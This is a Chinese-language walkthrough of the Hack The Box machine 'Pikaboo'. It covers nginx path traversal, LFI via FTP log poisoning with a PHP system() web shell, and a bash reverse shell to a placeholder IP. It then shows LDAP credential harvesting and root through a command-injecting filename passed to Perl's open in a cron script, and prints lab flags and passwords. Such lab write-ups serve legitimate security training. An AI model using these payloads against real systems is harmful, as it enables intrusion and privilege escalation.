HTB Pikaboo Machine [HARD]

Pikaboo

/images/HTB-Pikaboo-Machine/Untitled.png

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT   STATE SERVICE REASON  VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAgG6pLBPMmXneLGYurX9xbt6cE2IYdEN9J/ijCVrQbpUyVeTNWNoFnpB8+DIcppOtsJu0X3Iwpfb1eTmuop8q9nNlmyOcOTBHYOYLQwa+G4e90Bsku86ndqs+LU09sjqss5n3XdZoFqunNfZb7EirVVCgI80Lf8F+3XRRIX3ErqNrk2LiaQQY6fcAaNALaQy9ked7KydWDFYizO2dnu8ee2ncdXFMBeVDKGVfrlHAoRFoTmCEljCP1Vsjt69NDBudCGJBgU1MbItTF7DtbNQWGQmw8/9n9Jq8ic/YxOnIKRDDUuuWdE3sy2dPiw0ZVuG7V2GnkkMsGv0Qn3Uq9Qx7
| 256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIJl6Z/XtGXJwSnO57P3CesJfRbmGNra4AuSSHCGUocKchdp3JnNE704lMnocAevDwi9HsAKARxCup18UpPHz+I=
| 256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINyHVcrR4jjhBG5vZsvKRsKO4SnXj3GqeMtwvFSvd4B4
80/tcp open http syn-ack nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

User Flag

FTP服务无法匿名登录,先看看Web部分

/images/HTB-Pikaboo-Machine/Untitled%201.png

Nginx/1.14.2服务器设置为反向代理,实际请求由侦听在127.0.0.1:81Apache/2.4.38处理

/images/HTB-Pikaboo-Machine/Untitled%202.png

后端语言为PHP,浏览网页找到的路径有

  • /index.php
  • /pokatdex.php
  • /pokeapi.php
  • /admin*
  • /images
  • /artwork

其中/admin*要求Basic认证

1
2
3
4
5
6
7
$ curl 'http://pikaboo.htb/admin' -I
HTTP/1.1 401 Unauthorized
Server: nginx/1.14.2
Date: Sun, 18 Jul 2021 09:24:57 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
WWW-Authenticate: Basic realm="Authentication Required"

/pokeapi.php有一个id参数,但无论怎么填写,返回的页面都提示"PokeAPI Integration - Coming soon!"

/images/HTB-Pikaboo-Machine/Untitled%203.png

/images/返回403,但在请求/images时的302响应中泄露了Apache的一个路径/pokatdex

1
2
3
4
5
6
7
8
9
10
$ curl 'http://pikaboo.htb/images'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://127.0.0.1:81/pokatdex/images/">here</a>.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 81</address>
</body></html>

根据/admin*路径的行为(*通配符代表/admin之后的部分可以任意匹配),推测Nginx针对/adminlocation

1
2
3
location /admin {
proxy_pass http://127.0.0.1:81/xxx/;
}

这条location规则可以通过/admin../实现路径穿越

结合前面/images302响应中泄露的路径/pokatdex,可以构造URL:http://pikaboo.htb/admin../pokatdex/

浏览该URL,返回的页面与http://pikaboo.htb/相同

/images/HTB-Pikaboo-Machine/Untitled%204.png

这说明http://pikaboo.htb/admin../pokatdex会被Nginx转发到http://127.0.0.1:81/pokatdex/../pokatdex,因此存在路径穿越

既然现在可以访问Apache服务器的/目录,那么来枚举一下/目录中有哪些文件/目录,使用的字典为apache.txt

1
2
3
$ rustbuster dir -u http://pikaboo.htb/admin.. -f -e php,txt,bak,xml -w /usr/share/seclists/Discovery/Web-Content/apache.txt -t 64 -k -S 404
GET 403 Forbidden http://pikaboo.htb/admin../icons/
GET 200 OK http://pikaboo.htb/admin../server-status/

查看/server-status,在页面中找到路径/admin_staging

/images/HTB-Pikaboo-Machine/Untitled%205.png

浏览http://pikaboo.htb/admin../admin_staging/,页面如下

/images/HTB-Pikaboo-Machine/Untitled%206.png

点击左侧”User Profile”,页面跳转到http://pikaboo.htb/admin../admin_staging/index.php?page=user.php,该URLpage参数可能存在LFI

访问http://pikaboo.htb/admin../admin_staging/index.php?page=../pokatdex/index.php成功加载/pokatdex/index.php文件

/images/HTB-Pikaboo-Machine/Untitled%207.png

使用php://filTer/convert.base64-encode/resource=index.php读取当前页面源码,发现page参数直接作为include的参数,也就是include的文件路径没有任何限制

1
2
3
if(isset($_GET['page'])) { 
include($_GET['page']);
}

尝试从LFIRCE,试过/etc/passwd和各种Web服务器日志文件路径,全都无法读取(php-fpm的配置限制了这些文件所在目录的访问权限?),只有vsftpd的日志文件/var/log/vsftpd.log可以读取

/images/HTB-Pikaboo-Machine/Untitled%208.png

使用ftp命令,输入<?php echo system($_GET['cmd']); ?>作为用户名,令该用户名写入/var/log/vsftpd.log日志中

/images/HTB-Pikaboo-Machine/Untitled%209.png

访问http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log&cmd=whoami测试是否生效

/images/HTB-Pikaboo-Machine/Untitled%2010.png

执行bash -c 'bash -i >%26 /dev/tcp/YOUR_IP/4242 0>%261',获得Reverse Shell(目标主机经常清理/var/log/vsftpd.log,如果没有得到shell,可以重复ftp步骤)

/images/HTB-Pikaboo-Machine/Untitled%2011.png

读取/home/pwnmeow/user.txt获取user flag

1
2
www-data@pikaboo:/$ cat /home/pwnmeow/user.txt
078e9b25a640a4efc24376992caeb702

Root Flag

查看/etc/vsftpd.conf,发现vsftpd通过LDAP进行身份认证

1
2
3
4
5
6
7
virtual_use_local_privs=YES
local_enable=YES
pam_service_name=vsftpd.ldap
guest_enable=YES
#local_root=/home
local_root=/srv/ftp
hide_ids=YES

找了半天在/opt/pokeapi/config/settings.py文件中找到LDAP服务的用户名和密码(运行linpeas.sh -a没有提示settings.py,因为/opt不在linpeas.sh的默认密码查找目录列表中,尽管/opt/pokeapi/config/settings.py中有PASSWORD关键词)

1
2
3
4
5
6
7
8
9
10
11
12
DATABASES = {
"ldap": {
"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
"PASSWORD": "J~42%W?PFHl]g",
},
"default": {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/opt/pokeapi/db.sqlite3",
}
}

使用用户名cn=binduser,ou=users,dc=pikaboo,dc=htb和密码J~42%W?PFHl]g获取LDAPpwnmeow用户的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@pikaboo:/$ ldapsearch -LLL -W -x -H ldap://127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -b 'ou=users,dc=ftp,dc=pikaboo,dc=htb'
Enter LDAP Password:
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==

Base64解码userPassword的值得到pwnmeow的密码为_G0tT4_C4tcH_'3m_4lL!_

1
2
www-data@pikaboo:/$ echo 'X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==' | base64 -d
_G0tT4_C4tcH_'3m_4lL!_

目标主机cron service会定期以root权限运行/usr/local/bin/csvupdate_croncsvupdate_cron脚本代码如下

1
2
3
4
5
6
7
#!/bin/bash
for d in /srv/ftp/*
do
cd $d
/usr/local/bin/csvupdate $(basename $d) *csv
/usr/bin/rm -rf *
done

该脚本对/srv/ftp的每个子目录执行/usr/local/bin/csvupdate {SUBDIR} *csvcsvupdate脚本代码如下(经简化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
use strict;
use warnings;
use Text::CSV;

my $csv_dir = "/opt/pokeapi/data/v2/csv";
my %csv_fields = (
'abilities' => 4,
'ability_changelog' => 3,
# ......
'version_names' => 3,
'versions' => 3
);

my $type = $ARGV[0];
my $csv = Text::CSV->new({ sep_char => ',' });
my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";

shift;
for(<>)
{
chomp;
if($csv->parse($_))
{
my @fields = $csv->fields();
if(@fields != $csv_fields{$type})
{
warn "Incorrect number of fields: '$_'\n";
next;
}
print $fh "$_\n";
}
}

csvupdate的参数分为两部分

1
csvupdate [type] [csv_file]...
  1. type参数用于从$csv_fields表中查找字段数,例如type=abilities时,$csv_fields{$type}得到的字段数为4'abilities' => 4
  2. csv_file参数可以传入任意数量,csvupdate读取并解析csv_file指向的文件

csvupdate通过for(<>)依次读取这些csv_file的内容,调用$csv->parse($_)解析CSV格式内容,然后判断CSV的字段数是否与type要求的字段数相同,如果相同则CSV文件的内容会被写到/opt/pokeapi/data/v2/csv/${type}.csv

可被用来提权的点就在for(<>)for(<>)实际会调用open函数,而Perl中的open函数可以用于执行系统命令,相关细节参考

open - Perldoc Browser

要利用open的这一特性需要该函数的文件名参数可控,在csvupdate脚本中该文件名参数就是csv_file,而pwnmeow用户所属ftp组,具有上传文件到/srv/ftp子目录的权限

通过上传后缀为csvPayload文件名到任意/srv/ftp子目录中,可由csvupdate_cron脚本将文件名作为csv_file参数传递给csvupdate脚本,最终csvupdatefor(<>)调用open函数并传入该Payload

执行以下命令在本地创建Payload,该Payload中的命令用于拷贝bash/srv/ftp,并设置/srv/bashSUID

1
touch ' | cp $(which bash) .. | bash -c ''chmod +s "..$(echo -e \\x2f)bash"'' | csv'

然后使用凭据pwnmeow:_G0tT4_C4tcH_'3m_4lL!_登录FTP服务,执行以下命令上传该Payload文件

1
2
3
4
5
6
7
8
ftp> cd types
250 Directory successfully changed.
ftp> put \ |\ cp\ $(which\ bash)\ ..\ |\ bash\ -c\ 'chmod\ +s\ \"..$(echo\ -e\ \\\\x2f)bash\"'\ |\ csv
local: | cp $(which bash) .. | bash -c 'chmod +s "..$(echo -e \\x2f)bash"' | csv
remote: | cp $(which bash) .. | bash -c 'chmod +s "..$(echo -e \\x2f)bash"' | csv
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.

最后,执行/srv/ftp/bash -p获得root权限

1
2
3
$ /srv/ftp/bash -p
bash-5.0\# cat /root/root.txt
960622e032ced73aeae96b7711980ad9

附加

PHP/etc/php/7.3/apache2/php.ini中设置open_basedir/var//var添加/结尾代表仅允许访问/var目录。如果结尾不加/,则只允许访问以/var开头的路径,例如像/variable/file这样的路径也是可以访问的)

1
open_basedir = /var/

Apache的日志文件权限设置为只有rootadm组的用户可读

1
2
bash-5.0\# ls -la /var/log/apache2/access.log
-rw-r----- 1 root adm 499 Jul 19 08:40 /var/log/apache2/access.log

所以才无法读取/etc/passwdApache的日志

参考

open - Perldoc Browser